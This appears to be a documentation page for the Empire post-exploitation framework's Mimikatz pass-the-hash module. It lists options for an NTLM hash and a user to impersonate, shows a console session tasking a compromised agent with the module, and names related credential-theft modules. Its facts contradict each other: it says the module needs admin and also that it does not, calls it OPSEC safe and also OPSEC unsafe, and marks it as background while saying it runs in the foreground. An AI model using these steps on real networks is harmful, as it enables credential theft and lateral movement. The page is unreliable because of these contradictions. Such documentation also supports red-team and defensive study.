Invoke-Mimikatz PTH - Empire Module

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Module Overview

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Name: Invoke-Mimikatz PTH
Module: powershell/credentials/mimikatz/pth
Source code [1]: empire/server/modules/powershell/credentials/mimikatz/pth.yaml
Source code [2]: empire/server/modules/powershell/credentials/mimikatz/pth.py
MITRE ATT&CK: T1098, T1003, T1081, T1207, T1075, T1097, T1145, T1101, T1178, S0002
Language: PowerShell
Needs admin: Yes
OPSEC safe: Yes
Background: Yes

The pth module runs PowerSploit's Invoke-Mimikatz function to execute sekurlsa::pth to create a new process. with a specific user's hash. Use credentials/tokens to steal the token afterwards.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the pth module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

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This is a list of options that are required by the pth module:

Agent
Agent to run module on.

CredID
CredID from the store to use for ticket creation.

Additional Module Options

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This is a list of additional options that are supported by the pth module:

domain
The fully qualified domain name.

ntlm
The NTLM hash to use.

user
Username to impersonate.

Pth Example Usage

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Here's an example of how to use the pth module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/credentials/mimikatz/pth

 Author       @JosephBialek                                                        
              @gentilkiwi                                                          
 Background   True                                                                 
 Comments     http://clymb3r.wordpress.com/                                        
              http://blog.gentilkiwi.com                                           
              http://blog.cobaltstrike.com/2015/05/21/how-to-pass-the-hash-with-   
              mimikatz/                                                            
 Description  Runs PowerSploit's Invoke-Mimikatz function to execute sekurlsa::pth 
              to create a new process. with a specific user's hash. Use            
              credentials/tokens to steal the token afterwards.                    
 Language     powershell                                                           
 Name         powershell/credentials/mimikatz/pth                                  
 NeedsAdmin   True                                                                 
 OpsecSafe    True                                                                 
 Software     http://attack.mitre.org/software/S0002                               
 Techniques   http://attack.mitre.org/techniques/T1098                             
              http://attack.mitre.org/techniques/T1003                             
              http://attack.mitre.org/techniques/T1081                             
              http://attack.mitre.org/techniques/T1207                             
              http://attack.mitre.org/techniques/T1075                             
              http://attack.mitre.org/techniques/T1097                             
              http://attack.mitre.org/techniques/T1145                             
              http://attack.mitre.org/techniques/T1101                             
              http://attack.mitre.org/techniques/T1178                             


,Record Options--,----------,----------------------------------,
| Name   | Value | Required | Description                      |
|--------|-------|----------|----------------------------------|
| Agent  |       | True     | Agent to run module on.          |
|--------|-------|----------|----------------------------------|
| CredID |       | True     | CredID from the store to use for |
|        |       |          | ticket creation.                 |
|--------|-------|----------|----------------------------------|
| domain |       | False    | The fully qualified domain name. |
|--------|-------|----------|----------------------------------|
| ntlm   |       | False    | The NTLM hash to use.            |
|--------|-------|----------|----------------------------------|
| user   |       | False    | Username to impersonate.         |
'--------'-------'----------'----------------------------------'

(Empire: usemodule/powershell/credentials/mimikatz/pth) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/credentials/mimikatz/pth) > set CredID value
[*] Set CredID to value
(Empire: usemodule/powershell/credentials/mimikatz/pth) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Authors

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• @JosephBialek
• @gentilkiwi

References

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• https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/credentials/mimikatz/pth.yaml
• https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/credentials/mimikatz/pth.py
• http://clymb3r.wordpress.com/
• http://blog.gentilkiwi.com
• http://blog.cobaltstrike.com/2015/05/21/how-to-pass-the-hash-with-mimikatz/
• http://attack.mitre.org/software/S0002
• http://attack.mitre.org/techniques/T1098
• http://attack.mitre.org/techniques/T1003
• http://attack.mitre.org/techniques/T1081
• http://attack.mitre.org/techniques/T1207
• http://attack.mitre.org/techniques/T1075
• http://attack.mitre.org/techniques/T1097
• http://attack.mitre.org/techniques/T1145
• http://attack.mitre.org/techniques/T1101
• http://attack.mitre.org/techniques/T1178

See Also

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Check also the following modules related to this module:

• powershell/credentials/mimikatz/silver_ticket
• powershell/credentials/mimikatz/cache
• powershell/credentials/mimikatz/command
• powershell/credentials/mimikatz/terminal_server
• powershell/credentials/mimikatz/extract_tickets
• powershell/credentials/mimikatz/keys
• powershell/credentials/mimikatz/sam
• powershell/credentials/mimikatz/trust_keys
• powershell/credentials/mimikatz/purge
• powershell/credentials/mimikatz/logonpasswords
• powershell/credentials/mimikatz/certs
• powershell/credentials/mimikatz/dcsync
• powershell/credentials/mimikatz/lsadump
• powershell/credentials/mimikatz/mimitokens
• powershell/credentials/mimikatz/golden_ticket
• powershell/credentials/mimikatz/dcsync_hashdump

Version

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This page has been created based on Empire version 4.1.3 (BC Security Fork).
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